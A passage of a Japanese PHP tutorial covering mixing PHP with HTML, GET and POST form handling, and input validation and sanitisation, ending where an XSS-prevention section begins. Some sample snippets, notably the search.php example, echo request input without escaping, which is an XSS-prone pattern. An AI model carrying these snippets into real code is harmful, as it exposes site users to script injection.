'\u7ba1\u7406\u8005'],\n    ['name' =&gt; '\u4f0a\u85e4', 'role' =&gt; '\u30e6\u30fc\u30b6\u30fc']\n];\n\n\/\/ \u8868\u793a\u90e8\u5206\u306e\u6e96\u5099\n$showAdminPanel = true;\n?&gt;\n\n&lt;div class=\"user-panel\"&gt;\n    &lt;h2&gt;\u30e6\u30fc\u30b6\u30fc\u4e00\u89a7&lt;\/h2&gt;\n    \n    &lt;?php if ($showAdminPanel): ?&gt;\n        &lt;div class=\"admin-controls\"&gt;\n            &lt;button&gt;\u30e6\u30fc\u30b6\u30fc\u8ffd\u52a0&lt;\/button&gt;\n            &lt;button&gt;\u4e00\u62ec\u7de8\u96c6&lt;\/button&gt;\n        &lt;\/div&gt;\n    &lt;?php endif; ?&gt;\n    \n    &lt;ul class=\"user-list\"&gt;\n        &lt;?php foreach ($users as $user): ?&gt;\n            &lt;li class=\"user &lt;?php echo $user['role']; ?&gt;\"&gt;\n                &lt;?php echo $user['name']; ?&gt; (&lt;?php echo $user['role']; ?&gt;)\n            &lt;\/li&gt;\n        &lt;?php endforeach; ?&gt;\n    &lt;\/ul&gt;\n&lt;\/div&gt;\n<\/pre>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>PHP\u3068HTML\u306e\u5206\u96e2\u3092\u8003\u616e\u3059\u308b<\/strong><\/li>\n<\/ol>\n\n\n\n<p>\u53ef\u80fd\u306a\u9650\u308a\u3001\u30ed\u30b8\u30c3\u30af\u90e8\u5206\u3068\u30d7\u30ec\u30bc\u30f3\u30c6\u30fc\u30b7\u30e7\u30f3\u90e8\u5206\u3092\u5206\u96e2\u3059\u308b\u3068\u3001\u30b3\u30fc\u30c9\u306e\u4fdd\u5b88\u6027\u304c\u9ad8\u307e\u308a\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u30ed\u30b8\u30c3\u30af\u90e8\u5206\n$pageTitle = \"\u30c0\u30c3\u30b7\u30e5\u30dc\u30fc\u30c9\";\n$user = getUserData();\n$notifications = getNotifications($user['id']);\n\n\/\/ \u30d7\u30ec\u30bc\u30f3\u30c6\u30fc\u30b7\u30e7\u30f3\u30c7\u30fc\u30bf\u306e\u6e96\u5099\n$hasNotifications = count($notifications) &gt; 0;\n$userGreeting = \"\u3053\u3093\u306b\u3061\u306f\u3001{$user['name']}\u3055\u3093\";\n?&gt;\n\n&lt;!-- \u30d7\u30ec\u30bc\u30f3\u30c6\u30fc\u30b7\u30e7\u30f3\u90e8\u5206 --&gt;\n&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;&lt;?php echo $pageTitle; ?&gt;&lt;\/title&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n    &lt;header&gt;\n        &lt;h1&gt;&lt;?php echo $pageTitle; ?&gt;&lt;\/h1&gt;\n        &lt;p class=\"greeting\"&gt;&lt;?php echo $userGreeting; ?&gt;&lt;\/p&gt;\n    &lt;\/header&gt;\n    \n    &lt;main&gt;\n        &lt;?php if ($hasNotifications): ?&gt;\n            &lt;div class=\"notifications\"&gt;\n                &lt;h2&gt;\u304a\u77e5\u3089\u305b (&lt;?php echo count($notifications); ?&gt;)&lt;\/h2&gt;\n                &lt;ul&gt;\n                    &lt;?php foreach ($notifications as $note): ?&gt;\n                        &lt;li&gt;&lt;?php echo $note['message']; ?&gt;&lt;\/li&gt;\n                    &lt;?php endforeach; ?&gt;\n                &lt;\/ul&gt;\n            &lt;\/div&gt;\n        &lt;?php else: ?&gt;\n            &lt;p&gt;\u65b0\u3057\u3044\u304a\u77e5\u3089\u305b\u306f\u3042\u308a\u307e\u305b\u3093\u3002&lt;\/p&gt;\n        &lt;?php endif; ?&gt;\n    &lt;\/main&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-12\">\u5171\u901a\u306e\u30a8\u30e9\u30fc\u3068\u56de\u907f\u65b9\u6cd5<\/h4>\n\n\n\n<p>PHP\u3068HTML\u3092\u6df7\u5728\u3055\u305b\u308b\u969b\u306b\u3088\u304f\u3042\u308b\u30a8\u30e9\u30fc\u3068\u3001\u305d\u306e\u56de\u907f\u65b9\u6cd5\u3092\u7d39\u4ecb\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>PHP\u30bf\u30b0\u306e\u9589\u3058\u5fd8\u308c<\/strong><\/li>\n<\/ol>\n\n\n\n<p>PHP\u30bf\u30b0\u3092\u6b63\u3057\u304f\u9589\u3058\u306a\u3044\u3068\u3001\u4e88\u671f\u3057\u306a\u3044\u51fa\u529b\u3084\u30a8\u30e9\u30fc\u304c\u767a\u751f\u3057\u307e\u3059\u3002\u30a8\u30c7\u30a3\u30bf\u3067\u306e\u69cb\u6587\u30cf\u30a4\u30e9\u30a4\u30c8\u3084\u3001\u30b3\u30fc\u30c9\u306e\u6574\u7406\u6574\u9813\u3067\u9632\u304e\u307e\u3057\u3087\u3046\u3002<\/p>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li><strong>\u6587\u5b57\u5217\u5185\u3067\u306e\u30af\u30a9\u30fc\u30c8\u4f7f\u7528\u30df\u30b9<\/strong><\/li>\n<\/ol>\n\n\n\n<p>HTML\u5c5e\u6027\u5185\u3067\u5909\u6570\u3092\u4f7f\u7528\u3059\u308b\u5834\u5408\u306e\u30af\u30a9\u30fc\u30c8\u554f\u984c\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;!-- \u554f\u984c\u306e\u3042\u308b\u30b3\u30fc\u30c9 --&gt;\n&lt;a href=\"profile.php?id=&lt;?php echo $id ?&gt;\"&gt;\n    &lt;img src=\"&lt;?php echo $imgPath ?&gt;\" alt=\"&lt;?php echo $userName ?&gt;'s profile\"&gt;\n&lt;\/a&gt;\n\n&lt;!-- \u4fee\u6b63\u4f8b\uff1a\u9069\u5207\u306a\u30a8\u30b9\u30b1\u30fc\u30d7\u3068\u30af\u30a9\u30fc\u30c8\u51e6\u7406 --&gt;\n&lt;a href=\"profile.php?id=&lt;?php echo $id; ?&gt;\"&gt;\n    &lt;img src=\"&lt;?php echo $imgPath; ?&gt;\" alt=\"&lt;?php echo htmlspecialchars($userName . \"'s profile\"); ?&gt;\"&gt;\n&lt;\/a&gt;\n<\/pre>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>\u30bb\u30df\u30b3\u30ed\u30f3\u306e\u5fd8\u308c<\/strong><\/li>\n<\/ol>\n\n\n\n<p>PHP\u6587\u306e\u7d42\u308f\u308a\u306b\u30bb\u30df\u30b3\u30ed\u30f3\u3092\u4ed8\u3051\u5fd8\u308c\u308b\u3068\u69cb\u6587\u30a8\u30e9\u30fc\u306b\u306a\u308a\u307e\u3059\u3002\u7279\u306b\u8907\u6570\u306ePHP\u6587\u3092\u6df7\u5728\u3055\u305b\u308b\u5834\u5408\u306f\u6ce8\u610f\u304c\u5fc5\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<ol start=\"4\" class=\"wp-block-list\">\n<li><strong>\u5909\u6570\u30b9\u30b3\u30fc\u30d7\u306e\u554f\u984c<\/strong><\/li>\n<\/ol>\n\n\n\n<p>PHP\u30d6\u30ed\u30c3\u30af\u9593\u3067\u5909\u6570\u304c\u5171\u6709\u3055\u308c\u306a\u3044\u554f\u984c\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\nif ($condition) {\n    \/\/ \u3053\u306e\u30d6\u30ed\u30c3\u30af\u5185\u3067\u306e\u307f\u6709\u52b9\n    $message = \"\u6761\u4ef6\u304c\u6e80\u305f\u3055\u308c\u307e\u3057\u305f\";\n}\n?&gt;\n\n&lt;!-- \u30a8\u30e9\u30fc\u306b\u306a\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b --&gt;\n&lt;p&gt;&lt;?php echo $message; ?&gt;&lt;\/p&gt;\n\n&lt;!-- \u4fee\u6b63\u4f8b\uff1a\u5909\u6570\u306e\u5b58\u5728\u78ba\u8a8d --&gt;\n&lt;p&gt;&lt;?php echo isset($message) ? $message : \"\"; ?&gt;&lt;\/p&gt;\n<\/pre>\n\n\n\n<p>\u4ee5\u4e0a\u306e\u30c6\u30af\u30cb\u30c3\u30af\u3092\u6d3b\u7528\u3059\u308b\u3068\u3001PHP\u3068HTML\u3092\u52b9\u679c\u7684\u306b\u9023\u643a\u3055\u305b\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u6b21\u306e\u7ae0\u3067\u306f\u3001\u30d5\u30a9\u30fc\u30e0\u51e6\u7406\u3068\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u306b\u95a2\u3059\u308b\u30c6\u30af\u30cb\u30c3\u30af\u3092\u898b\u3066\u3044\u304d\u307e\u3057\u3087\u3046\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"i-13\">\u30d5\u30a9\u30fc\u30e0\u3068\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u306e\u51e6\u7406<\/h2>\n\n\n\n<p>\u30a6\u30a7\u30d6\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u91cd\u8981\u306a\u8981\u7d20\u306e\u4e00\u3064\u304c\u3001\u30e6\u30fc\u30b6\u30fc\u304b\u3089\u306e\u5165\u529b\u3092\u53d7\u3051\u4ed8\u3051\u3066\u51e6\u7406\u3059\u308b\u3053\u3068\u3067\u3059\u3002PHP\u306fHTML\u30d5\u30a9\u30fc\u30e0\u304b\u3089\u306e\u30c7\u30fc\u30bf\u51e6\u7406\u306b\u512a\u308c\u3066\u304a\u308a\u3001\u69d8\u3005\u306a\u30c4\u30fc\u30eb\u3068\u6a5f\u80fd\u3092\u63d0\u4f9b\u3057\u3066\u3044\u307e\u3059\u3002\u540c\u6642\u306b\u3001\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u306f\u6f5c\u5728\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ea\u30b9\u30af\u3092\u3082\u305f\u3089\u3059\u305f\u3081\u3001\u9069\u5207\u306a\u5bfe\u7b56\u304c\u4e0d\u53ef\u6b20\u3067\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-14\">PHP\u3067HTML\u30d5\u30a9\u30fc\u30e0\u3092\u51e6\u7406\u3059\u308b\u65b9\u6cd5<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-15\">GET\/POST\u30e1\u30bd\u30c3\u30c9\u306e\u9055\u3044\u3068\u9069\u5207\u306a\u4f7f\u3044\u5206\u3051<\/h4>\n\n\n\n<p>HTML\u30d5\u30a9\u30fc\u30e0\u3067\u306f\u4e3b\u306b<code>GET<\/code>\u3068<code>POST<\/code>\u306e2\u3064\u306e\u30e1\u30bd\u30c3\u30c9\u304c\u4f7f\u7528\u3055\u308c\u307e\u3059\u3002\u305d\u308c\u305e\u308c\u306e\u7279\u5fb4\u3092\u7406\u89e3\u3057\u3001\u9069\u5207\u306b\u4f7f\u3044\u5206\u3051\u308b\u3053\u3068\u304c\u91cd\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<p><strong>GET\u30e1\u30bd\u30c3\u30c9<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>URL\u306e\u30af\u30a8\u30ea\u6587\u5b57\u5217\u306b\u30c7\u30fc\u30bf\u304c\u8ffd\u52a0\u3055\u308c\u308b<\/li>\n\n\n\n<li>\u30d6\u30c3\u30af\u30de\u30fc\u30af\u53ef\u80fd<\/li>\n\n\n\n<li>\u30d6\u30e9\u30a6\u30b6\u306e\u5c65\u6b74\u306b\u6b8b\u308b<\/li>\n\n\n\n<li>\u30c7\u30fc\u30bf\u9577\u306b\u5236\u9650\u304c\u3042\u308b\uff08\u30d6\u30e9\u30a6\u30b6\u306b\u3088\u308a\u7570\u306a\u308b\u304c\u7d042,000\u6587\u5b57\u7a0b\u5ea6\uff09<\/li>\n\n\n\n<li>\u30ad\u30e3\u30c3\u30b7\u30e5\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b<\/li>\n<\/ul>\n\n\n\n<p><strong>POST\u30e1\u30bd\u30c3\u30c9<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>HTTP\u30ea\u30af\u30a8\u30b9\u30c8\u306e\u30dc\u30c7\u30a3\u306b\u30c7\u30fc\u30bf\u304c\u542b\u307e\u308c\u308b<\/li>\n\n\n\n<li>\u30d6\u30c3\u30af\u30de\u30fc\u30af\u4e0d\u53ef<\/li>\n\n\n\n<li>\u30d6\u30e9\u30a6\u30b6\u306e\u5c65\u6b74\u306b\u6b8b\u3089\u306a\u3044<\/li>\n\n\n\n<li>\u5927\u91cf\u306e\u30c7\u30fc\u30bf\u9001\u4fe1\u304c\u53ef\u80fd<\/li>\n\n\n\n<li>\u57fa\u672c\u7684\u306b\u30ad\u30e3\u30c3\u30b7\u30e5\u3055\u308c\u306a\u3044<\/li>\n<\/ul>\n\n\n\n<p><strong>\u4f7f\u3044\u5206\u3051\u306e\u57fa\u6e96<\/strong>:<\/p>\n\n\n<div id=\"id-3204a9cf-3cd4-4917-9d1e-4877939f5b5b\">\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u7528\u9014<\/th><th>\u63a8\u5968\u30e1\u30bd\u30c3\u30c9<\/th><th>\u7406\u7531<\/th><\/tr><\/thead><tbody><tr><td>\u691c\u7d22\u30d5\u30a9\u30fc\u30e0<\/td><td>GET<\/td><td>\u7d50\u679c\u3092\u30d6\u30c3\u30af\u30de\u30fc\u30af\u3067\u304d\u308b<\/td><\/tr><tr><td>\u4e00\u822c\u30c7\u30fc\u30bf\u306e\u95b2\u89a7<\/td><td>GET<\/td><td>URL\u3067\u72b6\u614b\u3092\u5171\u6709\u3067\u304d\u308b<\/td><\/tr><tr><td>\u30c7\u30fc\u30bf\u66f4\u65b0\u30fb\u8ffd\u52a0<\/td><td>POST<\/td><td>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3068\u5927\u5bb9\u91cf\u30c7\u30fc\u30bf\u5bfe\u5fdc<\/td><\/tr><tr><td>\u30ed\u30b0\u30a4\u30f3\u30d5\u30a9\u30fc\u30e0<\/td><td>POST<\/td><td>\u30d1\u30b9\u30ef\u30fc\u30c9\u3092URL\u306b\u8868\u793a\u3057\u306a\u3044<\/td><\/tr><tr><td>\u30d5\u30a1\u30a4\u30eb\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9<\/td><td>POST<\/td><td>\u5927\u5bb9\u91cf\u30c7\u30fc\u30bf\u306e\u9001\u4fe1\u304c\u5fc5\u8981<\/td><\/tr><\/tbody><\/table><\/figure>\n<\/div>\n\n\n<p>\u4ee5\u4e0b\u306f\u57fa\u672c\u7684\u306a\u30d5\u30a9\u30fc\u30e0\u306e\u4f8b\u3067\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;!-- GET\u30e1\u30bd\u30c3\u30c9\u306e\u4f8b\uff1a\u691c\u7d22\u30d5\u30a9\u30fc\u30e0 --&gt;\n&lt;form action=\"search.php\" method=\"get\"&gt;\n    &lt;input type=\"text\" name=\"keyword\" placeholder=\"\u691c\u7d22\u30ad\u30fc\u30ef\u30fc\u30c9\"&gt;\n    &lt;button type=\"submit\"&gt;\u691c\u7d22&lt;\/button&gt;\n&lt;\/form&gt;\n\n&lt;!-- POST\u30e1\u30bd\u30c3\u30c9\u306e\u4f8b\uff1a\u30e6\u30fc\u30b6\u30fc\u767b\u9332\u30d5\u30a9\u30fc\u30e0 --&gt;\n&lt;form action=\"register.php\" method=\"post\"&gt;\n    &lt;input type=\"text\" name=\"username\" placeholder=\"\u30e6\u30fc\u30b6\u30fc\u540d\"&gt;\n    &lt;input type=\"email\" name=\"email\" placeholder=\"\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\"&gt;\n    &lt;input type=\"password\" name=\"password\" placeholder=\"\u30d1\u30b9\u30ef\u30fc\u30c9\"&gt;\n    &lt;button type=\"submit\"&gt;\u767b\u9332&lt;\/button&gt;\n&lt;\/form&gt;\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-16\">$_GET\u3001$_POST\u3001$_REQUEST\u5909\u6570\u306e\u4f7f\u7528\u6cd5<\/h4>\n\n\n\n<p>PHP\u3067\u306f\u3001\u30d5\u30a9\u30fc\u30e0\u30c7\u30fc\u30bf\u3092\u53d6\u5f97\u3059\u308b\u305f\u3081\u306e\u30b9\u30fc\u30d1\u30fc\u30b0\u30ed\u30fc\u30d0\u30eb\u5909\u6570\u304c\u7528\u610f\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>$_GET<\/strong>: GET\u30e1\u30bd\u30c3\u30c9\u3067\u9001\u4fe1\u3055\u308c\u305f\u30c7\u30fc\u30bf\u3092\u9023\u60f3\u914d\u5217\u3068\u3057\u3066\u53d6\u5f97\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ search.php\n$keyword = $_GET['keyword'] ?? '';\n\nif ($keyword) {\n    echo \"&lt;p&gt;\u300c{$keyword}\u300d\u306e\u691c\u7d22\u7d50\u679c\uff1a&lt;\/p&gt;\";\n    \/\/ \u691c\u7d22\u51e6\u7406\n} else {\n    echo \"&lt;p&gt;\u691c\u7d22\u30ad\u30fc\u30ef\u30fc\u30c9\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002&lt;\/p&gt;\";\n}\n?&gt;\n<\/pre>\n\n\n\n<p><strong>$_POST<\/strong>: POST\u30e1\u30bd\u30c3\u30c9\u3067\u9001\u4fe1\u3055\u308c\u305f\u30c7\u30fc\u30bf\u3092\u9023\u60f3\u914d\u5217\u3068\u3057\u3066\u53d6\u5f97\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ register.php\nif ($_SERVER['REQUEST_METHOD'] === 'POST') {\n    $username = $_POST['username'] ?? '';\n    $email = $_POST['email'] ?? '';\n    $password = $_POST['password'] ?? '';\n    \n    \/\/ \u30d0\u30ea\u30c7\u30fc\u30b7\u30e7\u30f3\u3068\u30c7\u30fc\u30bf\u51e6\u7406\n    if ($username &amp;&amp; $email &amp;&amp; $password) {\n        \/\/ \u30e6\u30fc\u30b6\u30fc\u767b\u9332\u51e6\u7406\n        echo \"&lt;p&gt;\u767b\u9332\u304c\u5b8c\u4e86\u3057\u307e\u3057\u305f\uff01&lt;\/p&gt;\";\n    } else {\n        echo \"&lt;p&gt;\u3059\u3079\u3066\u306e\u9805\u76ee\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002&lt;\/p&gt;\";\n    }\n}\n?&gt;\n<\/pre>\n\n\n\n<p><strong>$_REQUEST<\/strong>: $_GET\u3001$_POST\u3001$_COOKIE\u306e\u5185\u5bb9\u3092\u5408\u308f\u305b\u305f\u5909\u6570\u3067\u3059\u3002\u4fbf\u5229\u3067\u3059\u304c\u3001\u3069\u306e\u30e1\u30bd\u30c3\u30c9\u304b\u3089\u30c7\u30fc\u30bf\u304c\u6765\u305f\u306e\u304b\u660e\u78ba\u3067\u306a\u3044\u305f\u3081\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u7406\u7531\u304b\u3089\u76f4\u63a5\u4f7f\u7528\u306f\u63a8\u5968\u3055\u308c\u307e\u305b\u3093\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ $_REQUEST\u306e\u4f7f\u7528\u4f8b\uff08\u4e00\u822c\u7684\u306b\u306f\u63a8\u5968\u3055\u308c\u306a\u3044\uff09\n$username = $_REQUEST['username'] ?? '';\n\/\/ GET\u3067\u3082POST\u3067\u3082\u53d6\u5f97\u53ef\u80fd\n?&gt;\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-17\">\u30d5\u30a9\u30fc\u30e0\u30c7\u30fc\u30bf\u306e\u30b5\u30cb\u30bf\u30a4\u30ba\u3068\u30d0\u30ea\u30c7\u30fc\u30b7\u30e7\u30f3<\/h4>\n\n\n\n<p>\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u306f\u5fc5\u305a\u691c\u8a3c\u3068\u30b5\u30cb\u30bf\u30a4\u30ba\uff08\u7121\u5bb3\u5316\uff09\u3092\u884c\u3063\u3066\u304b\u3089\u4f7f\u7528\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30d0\u30ea\u30c7\u30fc\u30b7\u30e7\u30f3\uff08\u691c\u8a3c\uff09\u306e\u4f8b<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u30d5\u30a9\u30fc\u30e0\u9001\u4fe1\u306e\u78ba\u8a8d\nif ($_SERVER['REQUEST_METHOD'] === 'POST') {\n    $errors = [];\n    \n    \/\/ \u5fc5\u9808\u9805\u76ee\u306e\u30c1\u30a7\u30c3\u30af\n    $username = $_POST['username'] ?? '';\n    if (empty($username)) {\n        $errors[] = '\u30e6\u30fc\u30b6\u30fc\u540d\u306f\u5fc5\u9808\u3067\u3059\u3002';\n    } elseif (strlen($username) &lt; 3) {\n        $errors[] = '\u30e6\u30fc\u30b6\u30fc\u540d\u306f3\u6587\u5b57\u4ee5\u4e0a\u5fc5\u8981\u3067\u3059\u3002';\n    }\n    \n    \/\/ \u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u306e\u5f62\u5f0f\u30c1\u30a7\u30c3\u30af\n    $email = $_POST['email'] ?? '';\n    if (empty($email)) {\n        $errors[] = '\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u306f\u5fc5\u9808\u3067\u3059\u3002';\n    } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {\n        $errors[] = '\u6709\u52b9\u306a\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002';\n    }\n    \n    \/\/ \u30d1\u30b9\u30ef\u30fc\u30c9\u306e\u5f37\u5ea6\u30c1\u30a7\u30c3\u30af\n    $password = $_POST['password'] ?? '';\n    if (empty($password)) {\n        $errors[] = '\u30d1\u30b9\u30ef\u30fc\u30c9\u306f\u5fc5\u9808\u3067\u3059\u3002';\n    } elseif (strlen($password) &lt; 8) {\n        $errors[] = '\u30d1\u30b9\u30ef\u30fc\u30c9\u306f8\u6587\u5b57\u4ee5\u4e0a\u5fc5\u8981\u3067\u3059\u3002';\n    }\n    \n    \/\/ \u30a8\u30e9\u30fc\u304c\u306a\u3051\u308c\u3070\u51e6\u7406\u3092\u7d9a\u884c\n    if (empty($errors)) {\n        \/\/ \u767b\u9332\u51e6\u7406\u306a\u3069\n        echo \"&lt;p&gt;\u767b\u9332\u304c\u5b8c\u4e86\u3057\u307e\u3057\u305f\uff01&lt;\/p&gt;\";\n    } else {\n        \/\/ \u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u306e\u8868\u793a\n        echo \"&lt;ul class='errors'&gt;\";\n        foreach ($errors as $error) {\n            echo \"&lt;li&gt;{$error}&lt;\/li&gt;\";\n        }\n        echo \"&lt;\/ul&gt;\";\n    }\n}\n?&gt;\n<\/pre>\n\n\n\n<p><strong>\u30b5\u30cb\u30bf\u30a4\u30ba\u306e\u57fa\u672c<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u30c6\u30ad\u30b9\u30c8\u5165\u529b\u306e\u30b5\u30cb\u30bf\u30a4\u30ba\n$comment = trim($_POST['comment'] ?? ''); \/\/ \u524d\u5f8c\u306e\u7a7a\u767d\u3092\u524a\u9664\n$comment = filter_var($comment, FILTER_SANITIZE_STRING); \/\/ \u975e\u63a8\u5968\uff1aPHP 8.1\u4ee5\u964d\n\n\/\/ PHP 8.1\u4ee5\u964d\u306e\u63a8\u5968\u65b9\u6cd5\n$comment = htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');\n\n\/\/ \u6570\u5024\u306e\u30b5\u30cb\u30bf\u30a4\u30ba\n$age = filter_var($_POST['age'] ?? 0, FILTER_SANITIZE_NUMBER_INT);\n$age = (int)$age; \/\/ \u6574\u6570\u306b\u5909\u63db\n\n\/\/ \u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u306e\u30b5\u30cb\u30bf\u30a4\u30ba\n$email = filter_var($_POST['email'] ?? '', FILTER_SANITIZE_EMAIL);\n?&gt;\n<\/pre>\n\n\n\n<p>PHP 7.4\u4ee5\u964d\u3067\u306f\u3001null\u30bb\u30fc\u30d5\u6f14\u7b97\u5b50\uff08<code>??<\/code>\uff09\u3092\u4f7f\u3046\u3053\u3068\u3067\u3001\u672a\u5b9a\u7fa9\u306e\u30a4\u30f3\u30c7\u30c3\u30af\u30b9\u306b\u5bfe\u3059\u308b\u30a8\u30e9\u30fc\u3092\u9632\u6b62\u3067\u304d\u307e\u3059\u3002\u3053\u308c\u306f\u7279\u306b\u30d5\u30a9\u30fc\u30e0\u51e6\u7406\u3067\u5f79\u7acb\u3061\u307e\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-18\">\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56\uff1aXSS\u653b\u6483\u306e\u9632\u6b62<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-19\">HTML\u30a8\u30b9\u30b1\u30fc\u30d7\u306e\u91cd\u8981\u6027<\/h4>\n\n\n\n<p>XSS\uff08\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0\uff09\u653b\u6483\u306f\u3001\u30a6\u30a7\u30d6\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u60aa\u610f\u306e\u3042\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u6ce8\u5165\u3059\u308b\u653b\u6483\u624b\u6cd5\u3067\u3059\u3002\u3053\u306e\u653b\u6483\u3092\u9632\u3050\u305f\u3081\u306b\u6700\u3082\u57fa\u672c\u7684\u306a\u5bfe\u7b56\u304c\u3001HTML\u30a8\u30b9\u30b1\u30fc\u30d7\u3067\u3059\u3002<\/p>\n\n\n\n<p>XSS\u653b\u6483\u306e\u4f8b\u3068\u3057\u3066\u3001\u30d5\u30a9\u30fc\u30e0\u306b\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u30b3\u30fc\u30c9\u304c\u5165\u529b\u3055\u308c\u305f\u3068\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" 